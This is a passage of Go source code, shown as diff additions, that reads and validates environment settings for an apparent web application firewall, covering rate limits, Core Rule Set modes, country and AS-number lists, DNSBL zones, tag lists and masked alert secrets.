e.value(name, defaultValue), + ) + e.check(name, err) + + return limit +} + +// count reads a setting that is a number of requests. +func (e *environment) count(name, defaultValue string) int64 { + count, err := parseCount(e.value(name, defaultValue)) + e.check(name, err) + + return count +} + +// bytesCounted reads the setting that is which body bytes count toward the +// byte limits and the byte anomaly thresholds: response, request or both. +func (e *environment) bytesCounted(name, defaultValue string) string { + value := e.value(name, defaultValue) + if value != "response" && value != "request" && value != "both" { + e.check(name, fmt.Errorf("%q %w", value, errNotBytesCounted)) + } + + return value +} + +// pathPrefixes reads a setting that is a list of path prefixes. +func (e *environment) pathPrefixes(name, defaultValue string) []string { + prefixes, err := parsePathPrefixes(e.value(name, defaultValue)) + e.check(name, err) + + return prefixes +} + +// apps reads the setting that is the apps each hostname serves. It is nil +// while the setting is unset, and logged as null, unlike a setting set +// empty. +func (e *environment) apps(name string) map[string][]string { + value, set := e.lookup(name) + if !set { + e.settings = append(e.settings, slog.Any(name, nil)) + + return nil + } + + e.settings = append(e.settings, slog.String(name, value)) + + apps, err := parseApps(value) + e.check(name, err) + + return apps +} + +// trapPaths reads the setting that is the list of trap paths. It is empty +// by default. +func (e *environment) trapPaths(name string) []string { + paths, err := parseTrapPaths(e.value(name, "")) + e.check(name, err) + + return paths +} + +// coreRuleSetMode reads the setting that is what the Core Rule Set does: off, +// detect or block. +func (e *environment) coreRuleSetMode(name, defaultValue string) string { + mode := e.value(name, defaultValue) + if mode != CoreRuleSetModeOff && mode != CoreRuleSetModeDetect && + mode != CoreRuleSetModeBlock { + e.check(name, fmt.Errorf("%q %w", mode, errNotCoreRuleSetMode)) + } + + return mode +} + +// paranoiaLevel reads the setting that is the Core Rule Set's paranoia +// level, from 1 to 4. +func (e *environment) paranoiaLevel(name, defaultValue string) int { + value := e.value(name, defaultValue) + + level, err := strconv.Atoi(value) + if err != nil || level < 1 || level > maxParanoiaLevel { + e.check(name, fmt.Errorf("%q %w", value, errNotParanoiaLevel)) + } + + return level +} + +// ruleIDs reads the setting that is a list of the ids of Core Rule Set +// rules. +func (e *environment) ruleIDs(name, defaultValue string) []int { + ids, err := parseRuleIDs(e.value(name, defaultValue)) + e.check(name, err) + + return ids +} + +// countries reads a setting that is a list of countries. +func (e *environment) countries(name, defaultValue string) []string { + countries, err := parseCountries(e.value(name, defaultValue)) + e.check(name, err) + + return countries +} + +// percents reads a setting that is a list of AS numbers or countries, +// which parseCode reads, each with a percentage. It is empty by default. +func (e *environment) percents( + name string, parseCode func(string) (string, error), +) map[string]int64 { + percents, err := parsePercents(e.value(name, ""), parseCode) + e.check(name, err) + + return percents +} + +// tagLists reads SWW_WAF_TAG_LISTS, which is empty by default. +func (e *environment) tagLists(name string) []TagList { + lists, err := parseTagLists(e.value(name, "")) + e.check(name, err) + + return lists +} + +// tags reads a setting that is a list of tags. It is empty by default. +func (e *environment) tags(name string) []string { + tags, err := parseTags(e.value(name, "")) + e.check(name, err) + + return tags +} + +// tagPercents reads a setting that is a list of tags, each with a +// percentage. It is empty by default. +func (e *environment) tagPercents(name string) map[string]int64 { + percents, err := parseTagPercents(e.value(name, "")) + e.check(name, err) + + return percents +} + +// percent reads a setting that is a percentage, from 0 to 100. +func (e *environment) percent(name, defaultValue string) int64 { + percent, err := ParsePercent(e.value(name, defaultValue)) + e.check(name, err) + + return percent +} + +// listURL reads a setting that is the URL a list is fetched from, "" while +// it is unset or empty. +func (e *environment) listURL(name string) string { + value := e.value(name, "") + if value != "" && !isListURL(value) { + e.check(name, fmt.Errorf("%q %w", value, errNotListURL)) + } + + return value +} + +// listURLs reads a setting that is a list of the URLs lists are fetched +// from. It is empty by default. +func (e *environment) listURLs(name string) []string { + urls, err := parseListURLs(e.value(name, "")) + e.check(name, err) + + return urls +} + +// refresh reads the setting that is how long after a list was last +// fetched or tried it is fetched again: a duration of an hour or more, +// since the Spamhaus lists may be fetched no more often, which cannot be +// off. +func (e *environment) refresh(name, defaultValue string) time.Duration { + value := e.value(name, defaultValue) + + duration, err := parseDuration(value) + if err != nil || duration < time.Hour { + e.check(name, fmt.Errorf("%q %w", value, errNotAnHourOrMore)) + } + + return duration +} + +// action reads a setting that is what is done with a client a blocklist +// or a DNSBL zone lists: deny, log, or limit:, which it returns +// as limit and the percentage. +func (e *environment) action(name, defaultValue string) (string, int64) { + value := e.value(name, defaultValue) + if value == "deny" || value == "log" { + return value, 0 + } + + percentText, isLimit := strings.CutPrefix(value, "limit:") + + percent, err := ParsePercent(percentText) + if !isLimit || err != nil { + e.check(name, fmt.Errorf("%q %w", value, errNotAction)) + } + + return "limit", percent +} + +// zones reads the setting that is the list of DNSBL zones. It is empty by +// default. The log shows each zone with its key masked, as MaskZoneKey +// masks it. +func (e *environment) zones(name string) []string { + value, _ := e.lookup(name) + zones, err := parseZones(value) + e.check(name, err) + + logged := make([]string, len(zones)) + for i, zone := range zones { + logged[i] = MaskZoneKey(zone) + } + + e.settings = append( + e.settings, + slog.String(name, strings.Join(logged, ",")), + ) + + return zones +} + +// resolver reads the setting that is the resolver the DNSBL zones are +// asked through, the zero AddrPort while it is unset or empty. +func (e *environment) resolver(name string) netip.AddrPort { + resolver, err := parseResolver(e.value(name, "")) + e.check(name, err) + + return resolver +} + +// routeWatchURL reads the setting that is the URL of a routewatch instance, +// "" while it is unset or empty. +func (e *environment) routeWatchURL(name string) string { + value := e.value(name, "") + if value == "" { + return "" + } + + instance, err := url.Parse(value) + if err != nil || !isHTTPURL(instance) { + e.check(name, fmt.Errorf("%q %w", value, errNotRouteWatchURL)) + } + + return value +} + +// lookupSource reads the setting that is where clients are looked up: +// geojs, file, or off. +func (e *environment) lookupSource(name, defaultValue string) string { + source := e.value(name, defaultValue) + if source != "geojs" && source != fileSource && source != off { + e.check(name, fmt.Errorf("%q %w", source, errNotLookupSource)) + } + + return source +} + +// checkLookupDBPath refuses SWW_WAF_LOOKUP_SOURCE=file without +// SWW_WAF_LOOKUP_DB_PATH, and SWW_WAF_LOOKUP_DB_PATH with any other source: +// one source at a time. +func (e *environment) checkLookupDBPath(cfg *WAF) { + switch { + case cfg.LookupSource == fileSource && cfg.LookupDBPath == "": + e.check("SWW_WAF_LOOKUP_SOURCE", fmt.Errorf( + "is file while SWW_WAF_LOOKUP_DB_PATH is unset; %w", + errNeedsDBPath, + )) + case cfg.LookupSource != fileSource && cfg.LookupDBPath != "": + e.check("SWW_WAF_LOOKUP_DB_PATH", fmt.Errorf( + "is set while SWW_WAF_LOOKUP_SOURCE is %s; %w", + cfg.LookupSource, + errDBPathUnused, + )) + } +} + +// checkCountriesAndLookups refuses a country in +// SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES whose tag is in SWW_WAF_TAG_DENY, and, +// while SWW_WAF_LOOKUP_SOURCE is off, each setting that needs clients looked +// up: the country list, SWW_WAF_ADD_LOOKUP_HEADERS, the tag settings that name +// an asn= or country= tag, the biased thresholds, +// SWW_WAF_ASN_LIMIT_PERCENT_URL among them, of which +// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT needs them only below 100, where it lowers a +// limit, and the anomaly thresholds per AS number. +func (e *environment) checkCountriesAndLookups(cfg *WAF) { + for _, country := range cfg.ExclusivelyAllowedCountries { + if slices.Contains(cfg.TagDeny, CountryTagPrefix+country) { + e.check("SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES", + fmt.Errorf("%q %w", country, errOnBothLists)) + } + } + + if cfg.LookupSource != off { + return + } + + // routewatch gives asn= tags too. + onlyLookupGives := func(tag string) bool { + return isLookupTag(tag) && + (cfg.RouteWatchURL == "" || !strings.HasPrefix(tag, ASNTagPrefix)) + } + + for _, setting := range []struct { + name string + set bool + }{ + {"SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES", len(cfg.ExclusivelyAllowedCountries) > 0}, + {"SWW_WAF_ADD_LOOKUP_HEADERS", cfg.AddLookupHeaders}, + {"SWW_WAF_TAG_DENY", slices.ContainsFunc(cfg.TagDeny, onlyLookupGives)}, + {"SWW_WAF_TAG_LIMIT_PERCENT", slices.ContainsFunc( + slices.Collect(maps.Keys(cfg.TagLimitPercent)), onlyLookupGives)}, + {"SWW_WAF_ASN_BYTES_LIMIT_PERCENT", len(cfg.ASNBytesLimitPercent) > 0}, + {"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT", len(cfg.CountryBytesLimitPercent) > 0}, + {"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT", cfg.UnknownCountryLimitPercent < 100}, + {"SWW_WAF_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""}, + {"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0}, + {"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0}, + {"SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE", cfg.AnomalyASN.BytesPerMinute > 0}, + {"SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR", cfg.AnomalyASN.BytesPerHour > 0}, + } { + if setting.set { + e.check( + setting.name, + fmt.Errorf("is set while SWW_WAF_LOOKUP_SOURCE is off; %w", + errNeedsLookups), + ) + } + } +} + +// checkASNLimitPercentURL refuses SWW_WAF_ASN_LIMIT_PERCENT_URL naming a +// blocklist too: the file at a URL is fetched as one list or the other. +func (e *environment) checkASNLimitPercentURL(cfg *WAF) { + if slices.Contains(cfg.BlocklistURLs, cfg.ASNLimitPercentURL) { + e.check("SWW_WAF_ASN_LIMIT_PERCENT_URL", + fmt.Errorf("%q %w", cfg.ASNLimitPercentURL, errInBlocklistURLs)) + } +} + +// checkTagLists refuses a list of SWW_WAF_TAG_LISTS whose URL is fetched as +// another list too: the file at a URL is read as one kind of list. +func (e *environment) checkTagLists(cfg *WAF) { + for _, list := range cfg.TagLists { + if slices.Contains(cfg.BlocklistURLs, list.URL) || + list.URL == cfg.ASNLimitPercentURL { + e.check( + "SWW_WAF_TAG_LISTS", + fmt.Errorf("%q %w", list.URL, errFetchedOtherwise), + ) + } + } +} + +// checkTags refuses a tag of SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT that would +// never apply: any tag these settings cannot give a request. +func (e *environment) checkTags(cfg *WAF) { + for _, tag := range cfg.TagDeny { + e.check("SWW_WAF_TAG_DENY", checkTag(cfg, tag)) + } + + for tag := range cfg.TagLimitPercent { + e.check("SWW_WAF_TAG_LIMIT_PERCENT", checkTag(cfg, tag)) + } +} + +// checkTag returns an error when tag would never apply, as checkTags says. +func checkTag(cfg *WAF, tag string) error { + if !requestCanGetTag(cfg, tag) { + return fmt.Errorf("%q %w", MaskZoneKey(tag), errNoRequestGetsTag) + } + + return nil +} + +// requestCanGetTag reports whether anything cfg sets up can give a request tag. +func requestCanGetTag(cfg *WAF, tag string) bool { + isListName := func(list TagList) bool { return list.Name == tag } + if isLookupTag(tag) || slices.ContainsFunc(cfg.TagLists, isListName) { + return true + } + + if tag == ExploitSignatureTag { + coreRuleSetOn := cfg.CoreRuleSetMode != CoreRuleSetModeOff && + cfg.CoreRuleSetScoreThreshold != 0 + + return cfg.RuleFilesEnabled || coreRuleSetOn + } + + if tag == AbuseIPDBTag { + return cfg.AbuseIPDBKey != "" + } + + if strings.HasPrefix(tag, PrefixTagPrefix) { + return cfg.RouteWatchURL != "" + } + + zone, isZoneTag := strings.CutPrefix(tag, DNSBLTagPrefix) + + return isZoneTag && + slices.ContainsFunc(cfg.DNSBLZones, func(each string) bool { + return strings.ToLower(MaskZoneKey(each)) == zone + }) +} + +// TagsNeedLookup reports whether SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT +// names an asn= or country= tag. +func (c *WAF) TagsNeedLookup() bool { + return slices.ContainsFunc(c.TagDeny, isLookupTag) || + tagLimitNeedsLookups(c) +} + +// tagLimitNeedsLookups reports whether SWW_WAF_TAG_LIMIT_PERCENT names an asn= +// or country= tag. +func tagLimitNeedsLookups(cfg *WAF) bool { + for tag := range cfg.TagLimitPercent { + if isLookupTag(tag) { + return true + } + } + + return false +} + +// isLookupTag reports whether tag is an asn= or country= tag. +func isLookupTag(tag string) bool { + return strings.HasPrefix(tag, ASNTagPrefix) || + strings.HasPrefix(tag, CountryTagPrefix) +} + +// headerNames reads a setting that is a list of header names, and +// returns them in lower case. +func (e *environment) headerNames(name, defaultValue string) []string { + headers, err := parseHeaderNames(e.value(name, defaultValue)) + e.check(name, err) + + return headers +} + +// durationNotOff reads a setting that is a duration and, unlike a +// timeout, cannot be off. +func (e *environment) durationNotOff( + name, defaultValue string, +) time.Duration { + duration, err := ParseDurationNotOff(e.value(name, defaultValue)) + e.check(name, err) + + return duration +} + +// numberNotOff reads a setting that is a whole number above zero, which +// cannot be off. +func (e *environment) numberNotOff(name, defaultValue string) int { + number, err := parseNumberNotOff(e.value(name, defaultValue)) + e.check(name, err) + + return number +} + +// banResponse reads a setting that is how a refused client is answered. +func (e *environment) banResponse(name, defaultValue string) int { + status, err := parseBanResponse(e.value(name, defaultValue)) + e.check(name, err) + + return status +} + +// v4Prefix reads a setting that is the length of an IPv4 netblock. +func (e *environment) v4Prefix(name, defaultValue string) int { + length, err := parseV4Prefix(e.value(name, defaultValue)) + e.check(name, err) + + return length +} + +// v6Prefix reads a setting that is the length of an IPv6 netblock. +func (e *environment) v6Prefix(name, defaultValue string) int { + length, err := parseV6Prefix(e.value(name, defaultValue)) + e.check(name, err) + + return length +} + +// ipv6GroupPrefix reads the setting that is the length of the IPv6 +// netblock that is one client, from minIPv6GroupPrefix to 128. +func (e *environment) ipv6GroupPrefix(name, defaultValue string) int { + value := e.value(name, defaultValue) + + length, err := strconv.Atoi(value) + if err != nil || length < minIPv6GroupPrefix || length > ipv6Bits { + e.check(name, fmt.Errorf("%q %w", value, errNotIPv6GroupPrefix)) + } + + return length +} + +// logLevel reads the setting that is the least severe of the process's +// own messages that are written: debug, info, warn or error. +func (e *environment) logLevel(name, defaultValue string) slog.Level { + value := e.value(name, defaultValue) + + level, known := map[string]slog.Level{ + "debug": slog.LevelDebug, + "info": slog.LevelInfo, + "warn": slog.LevelWarn, + "error": slog.LevelError, + }[value] + if !known { + e.check(name, fmt.Errorf("%q %w", value, errNotLogLevel)) + } + + return level +} + +// thresholds reads the four anomaly thresholds whose settings' names +// start with prefix: requests and bytes per minute and per hour. Each is +// off by default. +func (e *environment) thresholds(prefix string) anomaly.Thresholds { + return anomaly.Thresholds{ + RequestsPerMinute: e.count(prefix+"REQUESTS_PER_MINUTE", off), + RequestsPerHour: e.count(prefix+"REQUESTS_PER_HOUR", off), + BytesPerMinute: e.size(prefix+"BYTES_PER_MINUTE", off), + BytesPerHour: e.size(prefix+"BYTES_PER_HOUR", off), + } +} + +// namedNetblocks reads a setting that is a list of named netblocks. It is +// empty by default. +func (e *environment) namedNetblocks(name string) []anomaly.NamedNetblock { + named, err := parseNamedNetblocks(e.value(name, "")) + e.check(name, err) + + return named +} + +// absolutePath reads a setting that is an absolute path. +func (e *environment) absolutePath(name, defaultValue string) string { + path := e.value(name, defaultValue) + if !filepath.IsAbs(path) { + e.check(name, fmt.Errorf("%q %w", path, errNotAbsolutePath)) + } + + return path +} + +// token reads a setting that is a bearer token. Unset, it is "", which +// switches off what it guards; set, it must be at least minTokenLength +// characters. Neither the log nor an error shows its value. +func (e *environment) token(name string) string { + value, set := e.lookup(name) + if !set { + e.settings = append(e.settings, slog.String(name, "")) + + return "" + } + + e.settings = append(e.settings, slog.String(name, masked)) + + if utf8.RuneCountInString(value) < minTokenLength { + e.check(name, errShortToken) + } + + return value +} + +// logRemoteURL reads the setting that is where every log line is also +// sent. Unset or empty, it is nil, and nothing is sent. +func (e *environment) logRemoteURL(name string) *url.URL { + value := e.value(name, "") + if value == "" { + return nil + } + + remote, err := parseLogRemoteURL(value) + e.check(name, err) + + return remote +} + +// filePath reads a setting that is the path of a file, "" while it is +// unset. Its value names a file already, so, unlike the other settings, +// it has no _FILE form. Whoever uses the file reads it. +func (e *environment) filePath(name string) string { + path, _ := readSetting(e.v, name) + e.settings = append(e.settings, slog.String(name, path)) + + return path +} + +// certificates reads a setting that is the path of a file of PEM +// certificates. Unset or empty, it is nil. Its value names a file +// already, so, unlike the other settings, it has no _FILE form. +func (e *environment) certificates(name string) *x509.CertPool { + path, _ := readSetting(e.v, name) + e.settings = append(e.settings, slog.String(name, path)) + + if path == "" { + return nil + } + + pem, err := os.ReadFile(path) //nolint:gosec // a file the admin names + if err != nil { + e.check(name, fmt.Errorf("cannot be read: %w", err)) + + return nil + } + + pool := x509.NewCertPool() + if !pool.AppendCertsFromPEM(pem) { + e.check(name, fmt.Errorf("%q %w", path, errNoCertificate)) + + return nil + } + + return pool +} + +// facility reads a setting that is a syslog facility, and returns its +// number. +func (e *environment) facility(name, defaultValue string) int { + number, err := parseFacility(e.value(name, defaultValue)) + e.check(name, err) + + return number +} + +// instanceName reads SWW_WAF_INSTANCE_NAME, by default the host's name. It +// must be valid UTF-8: the metrics library panics on a label that is not. +func (e *environment) instanceName() string { + hostname, _ := os.Hostname() // "" when the host has no name to give + + value := e.value("SWW_WAF_INSTANCE_NAME", hostname) + if !utf8.ValidString(value) { + e.check( + "SWW_WAF_INSTANCE_NAME", + fmt.Errorf("%q %w", value, errNotUTF8), + ) + } + + return value +} + +// appName reads the setting that is the APP-NAME of the records the log +// lines are sent in, by default the instance name. Its value is checked +// when it is set, and, while lines are sent, when it is the instance name. +func (e *environment) appName( + name, instanceName string, + sending bool, +) string { + value, set := e.lookup(name) + if !set { + value = instanceName + } + + e.settings = append(e.settings, slog.String(name, value)) + + switch { + case isAppName(value): + case set: + e.check(name, fmt.Errorf("%q %w", value, errNotAppName)) + case sending: + e.check( + name, + fmt.Errorf( + "is unset, and SWW_WAF_INSTANCE_NAME %q, its default, %w", + value, + errNotAppName, + ), + ) + } + + return value +} + +// checkInstanceNameForNtfy refuses an instance name that holds a control +// character while ntfySet, SWW_WAF_ALERT_NTFY_URL being set: ntfy is sent +// the instance name in a header, which cannot hold one. +func (e *environment) checkInstanceNameForNtfy( + instanceName string, + ntfySet bool, +) { + if ntfySet && strings.ContainsFunc(instanceName, unicode.IsControl) { + e.check("SWW_WAF_INSTANCE_NAME", fmt.Errorf( + "%q %w, and is sent to ntfy in a header while SWW_WAF_ALERT_NTFY_URL is set", + instanceName, + errControlCharacter, + )) + } +} + +// webhookURL reads a setting that is a URL each alert is posted to: +// SWW_WAF_ALERT_WEBHOOK_URL, SWW_WAF_ALERT_SLACK_WEBHOOK_URL or +// SWW_WAF_ALERT_NTFY_URL. Unset or empty, it is nil, and no alert is posted +// there. The log shows ******** in place of its path and query, and an +// error shows none of it, since a webhook or an ntfy topic can carry its +// secret there. +func (e *environment) webhookURL(name string) *url.URL { + value, _ := e.lookup(name) + webhook, logged, err := parseWebhookURL(value) + e.settings = append(e.settings, slog.String(name, logged)) + e.check(name, err) + + return webhook +} + +// webhookHeaders reads the setting that is the headers sent with each +// alert. The log shows each header's value as ********, since a header +// such as Authorization carries a secret. +func (e *environment) webhookHeaders(name string) http.Header { + value, _ := e.lookup(name) + headers, logged, err := parseWebhookHeaders(value) + e.settings = append(e.settings, slog.String(name, logged)) + e.check(name, err) + + return headers +} + +// secret reads a setting that is a secret another service gave, such as +// an ntfy token or an AbuseIPDB key, "" while it is unset. It is sent in +// a header, which cannot hold a control character, so one in it is an +// error. The log shows ******** in place of a value that is not empty, and +// an error shows none of it. +func (e *environment) secret(name string) string { + value, _ := e.lookup(name) + + logged := "" + if value != "" { + logged = masked + } + + e.settings = append(e.settings, slog.String(name, logged)) + + if strings.ContainsFunc(value, unicode.IsControl) { + e.check(name, errControlCharacter) + } + + return value +} + +// alertEvents reads the setting that is the events alerts are sent for. +func (e *environment) alertEvents(name, defaultValue string) []string { + events, err := parseAlertEvents(e.value(name, defaultValue)) + e.check(name, err) + + return events +} + +// numberOrOff reads a setting that is a whole number above zero, or off, +// which is 0. +func (e *environment) numberOrOff(name, defaultValue string) int { + number, err := parseNumberOrOff(e.value(name, defaultValue)) + e.check(name, err) + + return number +} + +// parseDuration reads a duration in Go's syntax, such as 90s or 15m, a +// whole number of days such as 7d, or off. +func parseDuration(value string) (time.Duration, error) { + if value == off { + return 0, nil + } + + duration, err := durationOrDays(value) + if err != nil { + return 0, fmt.Errorf("%q %w", value, errNotDuration) + } + + if duration <= 0 { + return 0, fmt.Errorf("%q %w", value, errNotPositive) + } + + return duration, nil +} + +// durationOrDays reads Go's duration syntax, or a whole number of days. +func durationOrDays(value string) (time.Duration, error) { + days, isDays := strings.CutSuffix(value, "d") + if !isDays { + return time.ParseDuration(value) + } + + n, err := strconv.ParseInt(days, 10, 64) + if err != nil || n < 0 || n > math.MaxInt64/int64(day) { + return 0, errNotDuration + } + + return time.Duration(n) * day, nil +} + +// parseCoreRuleSetBodyInspectionSize reads the most of a request body the Core Rule Set +// reads: a size as parseSize reads it, or off, but at most 8K, so that one +// request cannot keep the Core Rule Set busy past rproxy's timeout. +func parseCoreRuleSetBodyInspectionSize(value string) (int64, error) { + limit, err := parseSize(value) + if err != nil { + return 0, err + } + + if limit > 8*kibibyte { + return 0, fmt.Errorf("%q %w", value, errOver8K) + } + + return limit, nil +} + +// parseCount reads a whole number of requests, or off. +func parseCount(value string) (int64, error) { + if value == off { + return 0, nil + } + + n, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return 0, fmt.Errorf("%q %w", value, errNotCount) + } + + if n <= 0 { + return 0, fmt.Errorf("%q %w", value, errNotPositive) + } + + return n, nil +} + +// ParseDurationNotOff reads a duration above zero, as parseDuration does, +// but not off. The ban endpoint reads the duration of a ban with it too. +func ParseDurationNotOff(value string) (time.Duration, error) { + duration, err := parseDuration(value) + if err != nil || duration == 0 { + return 0, fmt.Errorf("%q %w", value, errNotDurationAboveZero) + } + + return duration, nil +} + +// parseNumberNotOff reads a whole number above zero. +func parseNumberNotOff(value string) (int, error) { + n, err := strconv.Atoi(value) + if err != nil || n <= 0 { + return 0, fmt.Errorf("%q %w", value, errNotNumberAboveZero) + } + + return n, nil +} + +// parseBanResponse reads how a refused client is answered: 403, 429, or +// close, which is 0. +func parseBanResponse(value string) (int, error) { + switch value { + case "403": + return http.StatusForbidden, nil + case "429": + return http.StatusTooManyRequests, nil + case "close": + return 0, nil + default: + return 0, fmt.Errorf("%q %w", value, errNotBanResponse) + } +} + +// parseV4Prefix reads the length of an IPv4 netblock, from 0 to 32. +func parseV4Prefix(value string) (int, error) { + n, err := strconv.Atoi(value) + if err != nil || n < 0 || n > ipv4Bits { + return 0, fmt.Errorf("%q %w", value, errNotV4Prefix) + } + + return n, nil +} + +// parseV6Prefix reads the length of an IPv6 netblock, from 0 to 128. +func parseV6Prefix(value string) (int, error) { + n, err := strconv.Atoi(value) + if err != nil || n < 0 || n > ipv6Bits { + return 0, fmt.Errorf("%q %w", value, errNotV6Prefix) + } + + return n, nil +} + +// parseNamedNetblocks reads a comma-separated list of named netblocks, +// each a name, = and a netblock, such as office=203.0.113.0/24. An empty +// value is an empty list. A name listed twice is an error. +func parseNamedNetblocks(value string) ([]anomaly.NamedNetblock, error) { + items, err := parseList(value) + if err != nil { + return nil, err + } + + named := make([]anomaly.NamedNetblock, 0, len(items)) + + for _, item := range items { + name, netblockText, found := strings.Cut(item, "=") + name = strings.TrimSpace(name) + + if !found || name == "" { + return nil, fmt.Errorf("%q %w", item, errNotNamedNetblock) + } + + netblock, err := ParseNetblock(strings.TrimSpace(netblockText)) + if err != nil { + return nil, err + } + + if slices.ContainsFunc(named, func(n anomaly.NamedNetblock) bool { + return n.Name == name + }) { + return nil, fmt.Errorf("%q %w", name, errListedTwice) + } + + named = append( + named, + anomaly.NamedNetblock{Name: name, Netblock: netblock}, + ) + } + + return named, nil +} + +// parsePathPrefixes reads a comma-separated list of path prefixes, each +// starting with /. +func parsePathPrefixes(value string) ([]string, error) { + prefixes, err := parseList(value) + if err != nil { + return nil, err + } + + for _, prefix := range prefixes { + if !strings.HasPrefix(prefix, "/") { + return nil, fmt.Errorf("%q %w", prefix, errNotPathPrefix) + } + } + + return prefixes, nil +} + +// parseTrapPaths reads a comma-separated list of trap paths. Each is +// matched against a request's path as a path rule is, without the query, +// so a path that does not start with / would never match, and one that +// holds a ? is written with a query. +func parseTrapPaths(value string) ([]string, error) { + paths, err := parseList(value) + if err != nil { + return nil, err + } + + for _, path := range paths { + if !strings.HasPrefix(path, "/") || strings.Contains(path, "?") { + return nil, fmt.Errorf("%q %w", path, errNotTrapPath) + } + } + + return paths, nil +} + +// parseApps reads the apps each hostname serves: entries separated by +// semicolons, each a hostname, a colon, and a comma-separated list of the +// names coreruleset.AppNames returns, such as +// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each +// hostname is a DNS name, without a wildcard. It returns them by hostname +// in lowercase, since a hostname is matched without regard to case. An +// empty value lists no hostname. +func parseApps(value string) (map[string][]string, error) { + apps := map[string][]string{} + + if strings.TrimSpace(value) == "" { + return apps, nil + } + + for entry := range strings.SplitSeq(value, ";") { + hostname, list, found := strings.Cut(entry, ":") + if !found { + return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry) + } + + hostname = strings.ToLower(strings.TrimSpace(hostname)) + if hostname == "" { + return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry) + } + + if !isZone(hostname) { + return nil, fmt.Errorf("%q %w", hostname, errNotHostname) + } + + if _, listed := apps[hostname]; listed { + return nil, fmt.Errorf("%q %w", hostname, errListedTwice) + } + + names, err := parseList(list) + if err != nil { + return nil, err + } + + if len(names) == 0 { + return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry) + } + + for i, name := range names { + if !slices.Contains(coreruleset.AppNames(), name) { + return nil, fmt.Errorf("%q %w %s", name, errNotApp, + strings.Join(coreruleset.AppNames(), ", ")) + } + + if slices.Contains(names[:i], name) { + return nil, fmt.Errorf("%q %w", name, errListedTwice) + } + } + + apps[hostname] = names + } + + return apps, nil +} + +// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set +// rules, each a whole number above zero and outside firstSetupRuleID to +// lastSetupRuleID. +func parseRuleIDs(value string) ([]int, error) { + items, err := parseList(value) + if err != nil { + return nil, err + } + + ids := make([]int, len(items)) + + for i, item := range items { + ids[i], err = strconv.Atoi(item) + if err != nil || ids[i] <= 0 { + return nil, fmt.Errorf("%q %w", item, errNotRuleID) + } + + if ids[i] >= firstSetupRuleID && ids[i] <= lastSetupRuleID { + return nil, fmt.Errorf("%q %w", item, errSetupRuleID) + } + } + + return ids, nil +} + +// countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK, +// the code in common use for Kosovo. golang.org/x/text/language cannot +// check them: it also takes withdrawn codes such as su, and reserved ones +// such as ac, as countries. +const countryCodes = ` +AD AE AF AG AI AL AM AO AQ AR AS AT AU AW AX AZ +BA BB BD BE BF BG BH BI BJ BL BM BN BO BQ BR BS BT BV BW BY BZ +CA CC CD CF CG CH CI CK CL CM CN CO CR CU CV CW CX CY CZ +DE DJ DK DM DO DZ +EC EE EG EH ER ES ET +FI FJ FK FM FO FR +GA GB GD GE GF GG GH GI GL GM GN GP GQ GR GS GT GU GW GY +HK HM HN HR HT HU +ID IE IL IM IN IO IQ IR IS IT +JE JM JO JP +KE KG KH KI KM KN KP KR KW KY KZ +LA LB LC LI LK LR LS LT LU LV LY +MA MC MD ME MF MG MH MK ML MM MN MO MP MQ MR MS MT MU MV MW MX MY MZ +NA NC NE NF NG NI NL NO NP NR NU NZ +OM +PA PE PF PG PH PK PL PM PN PR PS PT PW PY +QA +RE RO RS RU RW +SA SB SC SD SE SG SH SI SJ SK SL SM SN SO SR SS ST SV SX SY SZ +TC TD TF TG TH TJ TK TL TM TN TO TR TT TV TW TZ +UA UG UM US UY UZ +VA VC VE VG VI VN VU +WF WS +XK +YE YT +ZA ZM ZW +` + +// parseCountries reads a comma-separated list of country codes in either +// case, and returns them in capitals. +func parseCountries(value string) ([]string, error) { + items, err := parseList(value) + if err != nil { + return nil, err + } + + countries := make([]string, 0, len(items)) + + for _, item := range items { + country, err := parseCountry(item) + if err != nil { + return nil, err + } + + countries = append(countries, country) + } + + return countries, nil +} + +// parseCountry reads a country code in either case, and returns it in +// capitals. +func parseCountry(value string) (string, error) { + country := strings.ToUpper(value) + if !slices.Contains(strings.Fields(countryCodes), country) { + return "", fmt.Errorf("%q %w", value, errNotCountry) + } + + return country, nil +} + +// ParseASN reads an AS number such as AS64496, in either case, and +// returns it as the lookup gives it: AS and the number, in capitals and +// without leading zeros. The file SWW_WAF_ASN_LIMIT_PERCENT_URL names is +// read with it too. +func ParseASN(value string) (string, error) { + digits, hasAS := strings.CutPrefix(strings.ToUpper(value), "AS") + + number, err := strconv.ParseUint(digits, 10, 32) + if !hasAS || err != nil { + return "", fmt.Errorf("%q %w", value, errNotASN) + } + + return "AS" + strconv.FormatUint(number, 10), nil +} + +// The tags a request can get that the settings can name, as waf +// writes them. The prefixes are followed by a value. +const ( + ASNTagPrefix = "asn=" + CountryTagPrefix = "country=" + DNSBLTagPrefix = "dnsbl=" + PrefixTagPrefix = "prefix=" + AbuseIPDBTag = "abuseipdb" + // ExploitSignatureTag is the tag of a request a rule file or the Core + // Rule Set matched. + ExploitSignatureTag = "exploitsignature" +) + +// TagList is an address list of SWW_WAF_TAG_LISTS: the tag it adds to the +// requests of the clients it holds, and the URL it is fetched from. +type TagList struct { + Name string + URL string +} + +// parseTagLists reads a comma-separated list of name=URL pairs, such as +// torexit=https://example.com/tor.txt, and returns each list with its name +// in lower case. A name can hold a =, as vpn=mullvad does, and ends at the +// = before http. A name or a URL listed twice is an error. +func parseTagLists(value string) ([]TagList, error) { + items, 